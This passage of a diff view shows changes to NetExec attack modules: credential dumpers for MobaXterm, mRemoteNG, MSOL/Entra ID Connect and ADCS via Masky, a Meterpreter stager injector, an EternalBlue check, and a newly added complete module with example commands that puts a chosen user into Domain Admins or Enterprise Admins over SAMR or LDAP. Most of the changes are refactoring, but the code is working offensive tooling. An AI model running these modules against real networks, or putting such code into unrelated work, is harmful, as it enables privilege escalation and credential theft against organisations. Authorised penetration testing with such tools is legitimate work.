context.log.success(f"Saved {ticket_count} Kerberos ticket(s) to {self.save_dir}")
else:
context.log.display("No tickets were saved")
+14 -8
View File
@@ -1,9 +1,11 @@
from pyasn1.error import PyAsn1Error
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Module by Shutdown and Podalirius
Modified by @azoxlpf to handle null session errors and avoid IndexError when no LDAP results are returned.
Initial module:
https://github.com/ShutdownRepo/CrackMapExec-MachineAccountQuota
@@ -14,17 +16,21 @@ class NXCModule:
"""
def options(self, context, module_options):
pass
"""No options available"""
name = "maq"
description = "Retrieves the MachineAccountQuota domain-level attribute"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def on_login(self, context, connection):
context.log.display("Getting the MachineAccountQuota")
result = connection.search("(objectClass=*)", ["ms-DS-MachineAccountQuota"])
try:
maq = result[0]["attributes"][0]["vals"][0]
context.log.highlight(f"MachineAccountQuota: {maq}")
except PyAsn1Error:
context.log.highlight("MachineAccountQuota: <not set>")
ldap_response = connection.search("(ms-DS-MachineAccountQuota=*)", ["ms-DS-MachineAccountQuota"])
entries = parse_result_attributes(ldap_response)
if not entries:
context.log.fail("No LDAP entries returned.")
return
context.log.highlight(f"MachineAccountQuota: {entries[0]['ms-DS-MachineAccountQuota']}")
+5 -3
View File
@@ -1,11 +1,13 @@
from masky import Masky
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "masky"
description = "Remotely dump domain user credentials via an ADCS and a KDC"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
r"""
@@ -79,8 +81,8 @@ class NXCModule:
pwned_users = 0
for user in rslts.users:
if user.nthash:
context.log.highlight(f"{user.domain}\\{user.name} {user.nthash}")
if user.nt_hash:
context.log.highlight(f"{user.domain}\\{user.name} {user.nt_hash}")
self.process_credentials(connection, context, user)
pwned_users += 1
@@ -96,7 +98,7 @@ class NXCModule:
"hash",
user.domain,
user.name,
user.nthash,
user.nt_hash,
pillaged_from=host,
)
add_user_bh(user.name, user.domain, context.log, connection.config)
+2
View File
@@ -1,4 +1,5 @@
from sys import exit
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -10,6 +11,7 @@ class NXCModule:
name = "met_inject"
description = "Downloads the Meterpreter stager and injects it into memory"
supported_protocols = ["smb", "mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.rand = None
+10 -36
View File
@@ -1,60 +1,34 @@
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "mobaxterm"
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
""" """
"""No options available"""
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
def mobaxterm_callback(credential):
if isinstance(credential, MobaXtermCredential):
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
log_text = f"{credential.name} - {credential.username}:{credential.password.decode('latin-1')}"
elif isinstance(credential, MobaXtermPassword):
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
context.log.highlight(f"[{credential.winuser}] {log_text}")
log_text = f"{credential.username}:{credential.password.decode('latin-1')}"
connection.dpapi_triage.log_secret(f"[{credential.winuser}] {log_text}", logger=context.log)
try:
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
context.log.success("Looting MobaXterm secrets")
triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_secret_callback=mobaxterm_callback)
triage.triage_mobaxterm()
except Exception as e:
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
+168
View File
@@ -0,0 +1,168 @@
import contextlib
import sys
from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE
from impacket.dcerpc.v5 import samr
from nxc.helpers.rpc import NXCRPCConnection
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Module for adding/removing users to/from groups
Module by @termanix
"""
name = "modify-group"
description = "Modify the group membership of users and computers"
supported_protocols = ["smb", "ldap"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
Required (at least one of):
GROUP Name of the group to add/remove the user to/from
USER Username of the account to modify
Optional:
REMOVE Set to 'True' to remove the user from the specified group instead of adding (default: False)
Examples
--------
Adding a user to a group:
netexec smb <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Domain Admins'
netexec ldap <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Enterprise Admins'
Removing a user from a group:
netexec smb <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Domain Admins' REMOVE=True
netexec ldap <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Enterprise Admins' REMOVE=True
SMB/SAMR KNOWN LIMITATIONS:
- SAMR only supports modification of Global security groups.
Domain Local and Universal groups require the LDAP protocol.
- Cross-domain groups (e.g. Enterprise Admins) cannot be modified via SAMR.
Use LDAP instead.
"""
self.group = module_options.get("GROUP")
self.target_user = module_options.get("USER")
self.remove = module_options.get("REMOVE", "False").lower() == "true"
if not (self.target_user and self.group):
context.log.fail("USER and GROUP parameters are required!")
sys.exit(1)
def on_login(self, context, connection):
self.context = context
self.connection = connection
if context.protocol == "smb":
self._modify_group_smb()
elif context.protocol == "ldap" and self.group:
self._modify_group_ldap()
def _modify_group_smb(self):
"""Modify group membership using SMB/SAMR protocol"""
dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
if not dce:
return
# Get domain handle
try:
server_handle = samr.hSamrConnect(dce, self.connection.host + "\x00")["ServerHandle"]
domain_sid = samr.hSamrLookupDomainInSamServer(dce, server_handle, self.connection.domain)["DomainId"]
domain_handle = samr.hSamrOpenDomain(dce, server_handle, domainId=domain_sid)["DomainHandle"]
except Exception as e:
self.context.log.fail(f"Failed to connect to SAMR service: {e}")
return
# Find the user RID
try:
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, (self.target_user,))["RelativeIds"]["Element"][0]
except Exception as e:
if "STATUS_NONE_MAPPED" in str(e):
self.context.log.fail(f"Target user not found: {self.target_user}")
else:
self.context.log.fail(f"Failed to find user RID: {e}")
return
# Find the group RID and open the group
try:
group_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, (self.group,))["RelativeIds"]["Element"][0]
group_handle = samr.hSamrOpenGroup(dce, domain_handle, groupId=group_rid)["GroupHandle"]
except Exception as e:
if "STATUS_NONE_MAPPED" in str(e):
self.context.log.fail(f"Target group not found: {self.group}")
else:
self.context.log.fail(f"Failed to find group: {e}")
return
# Modify group membership
if self.remove:
try:
samr.hSamrRemoveMemberFromGroup(dce, group_handle, user_rid)
self.context.log.success(f"Successfully removed {self.target_user} from group {self.group}")
except Exception as e:
if "STATUS_MEMBER_NOT_IN_GROUP" in str(e):
self.context.log.fail(f"User {self.target_user} is not a member of group {self.group}")
else:
self.context.log.fail(f"Failed to remove user from group via SMB: {e}")
else:
try:
samr.hSamrAddMemberToGroup(dce, group_handle, user_rid, 0x7)
self.context.log.success(f"Successfully added {self.target_user} to group {self.group}")
except Exception as e:
if "STATUS_MEMBER_IN_GROUP" in str(e):
self.context.log.fail(f"User {self.target_user} is already a member of group {self.group}")
else:
self.context.log.fail(f"Failed to add user to group via SMB: {e}")
# Disconnect from DCE/RPC
with contextlib.suppress(Exception):
dce.disconnect()
def _modify_group_ldap(self):
"""Modify group membership using LDAP protocol"""
# Get the DN of the target user
resp = self._find_object_dn(self.target_user)
if not resp:
self.context.log.fail(f"Target user not found: {self.target_user}")
return
else:
target_user_dn = resp[0]["distinguishedName"]
# Get the DN of the target group
resp = self._find_object_dn(self.group)
if not resp:
self.context.log.fail(f"Target group not found: {self.group}")
return
else:
group_dn = resp[0]["distinguishedName"]
# Modify group membership
if self.remove:
try:
self.connection.ldap_connection.modify(group_dn, {"member": [(MODIFY_DELETE, [target_user_dn])]})
self.context.log.success(f"Successfully removed {self.target_user} from group {self.group}")
except Exception as e:
if "unwillingToPerform" in str(e):
self.context.log.fail(f"User {self.target_user} is not a member of group {self.group}")
else:
self.context.log.fail(f"Failed to remove user from group via LDAP: {e}")
else:
try:
self.connection.ldap_connection.modify(group_dn, {"member": [(MODIFY_ADD, [target_user_dn])]})
self.context.log.success(f"Successfully added {self.target_user} to group {self.group}")
except Exception as e:
if "entryAlreadyExists" in str(e):
self.context.log.fail(f"User {self.target_user} is already a member of group {self.group}")
else:
self.context.log.fail(f"Failed to add user to group via LDAP: {e}")
def _find_object_dn(self, value):
"""Find the distinguished name (DN) of an object by sAMAccountName"""
resp = self.connection.ldap_connection.search(
searchFilter=f"(sAMAccountName={value})",
attributes=["distinguishedName"]
)
return parse_result_attributes(resp)
+14 -53
View File
@@ -1,12 +1,10 @@
import ntpath
from dploot.lib.target import Target
from Cryptodome.Cipher import AES
from lxml import objectify
from base64 import b64decode
import hashlib
from dataclasses import dataclass
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
from nxc.helpers.misc import CATEGORY
@dataclass
@@ -25,7 +23,8 @@ class NXCModule:
name = "mremoteng"
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self, context=None, module_options=None):
self.false_positive = (
@@ -41,6 +40,7 @@ class NXCModule:
self.mRemoteNg_path = [
"Users\\{username}\\AppData\\Local\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG Connection Manager",
]
self.custom_user_path = [
@@ -67,70 +67,31 @@ class NXCModule:
self.custom_path = module_options["CUSTOM_PATH"]
def on_admin_login(self, context, connection):
# 1. Evole conn into dploot conn
self.context = context
self.connection = connection
self.share = connection.args.share
self.share = connection.args.share if hasattr(connection.args, "share") else "C$"
self.dploot_conn = connection.dpapi_triage.conn
host = f"{connection.hostname}.{connection.domain}"
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
users = self.dploot_conn.list_users()
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)
dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if dploot_conn is None:
context.log.debug("Could not upgrade connection")
return
# 2. Dump users list
users = self.get_users(dploot_conn)
# 3. Search for mRemoteNG files
# Search for mRemoteNG files
for user in users:
for path in self.mRemoteNg_path:
user_path = ntpath.join(path.format(username=user), "confCons.xml")
content = dploot_conn.readFile(self.share, user_path)
content = self.dploot_conn.read_file(share=self.share, path=user_path)
if content is None:
continue
self.context.log.info(f"Found confCons.xml file: {user_path}")
self.handle_confCons_file(content)
for path in self.custom_user_path:
user_path = path.format(username=user)
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
self.dig_confCons_in_files(conn=self.dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
if self.custom_path is not None:
content = dploot_conn.readFile(self.share, self.custom_path)
content = self.dploot_conn.read_file(share=self.share, path=self.custom_path)
if content is not None:
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
self.handle_confCons_file(content)
def get_users(self, conn):
users = []
users_dir_path = "Users\\*"
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
for d in directories:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
return users
def handle_confCons_file(self, file_content):
main = objectify.fromstring(file_content)
encryption_attributes = MRemoteNgEncryptionAttributes(
@@ -151,7 +112,7 @@ class NXCModule:
protocol = node_attribute["Protocol"]
port = node_attribute["Port"]
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
self.connection.dpapi_triage.log_secret(f"{name}:{host} - {domain}\\{username}:{password}", self.context.log)
def parse_xml_nodes(self, main):
nodes = []
@@ -165,7 +126,7 @@ class NXCModule:
return nodes
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
directory_list = conn.remote_list_dir(self.share, directory_path)
directory_list = conn.list_dir(share=self.share, path=directory_path)
if directory_list is not None:
for item in directory_list:
if item.get_longname() not in self.false_positive:
@@ -177,7 +138,7 @@ class NXCModule:
# It's a file, download it to the output share if the mask is ok
if "confCons.xml" in item.get_longname():
self.context.log.info(f"Found confCons.xml file: {new_path}")
content = conn.readFile(self.context.share, new_path)
content = conn.read_file(share=self.share, path=new_path)
self.handle_confCons_file(content)
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
+2
View File
@@ -5,6 +5,7 @@
from ctypes import c_uint8, c_uint16, c_uint32, c_uint64, Structure
import socket
import struct
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
@@ -54,6 +55,7 @@ class NXCModule:
name = "ms17-010"
description = "MS17-010 - EternalBlue - NOT TESTED OUTSIDE LAB ENVIRONMENT"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
""" """
+2
View File
@@ -3,6 +3,7 @@
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
# Fully rewritten by @NeffIsBack
from base64 import b64encode
from nxc.helpers.misc import CATEGORY
from nxc.helpers.powershell import get_ps_script
@@ -11,6 +12,7 @@ class NXCModule:
name = "msol"
description = "Dump MSOL cleartext password and Entra ID credentials from the localDB on the Entra ID Connect Server"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self):
self.context = None
Loaded 100 of 227 files, more files were not shown because too many files have changed in this diff. Show more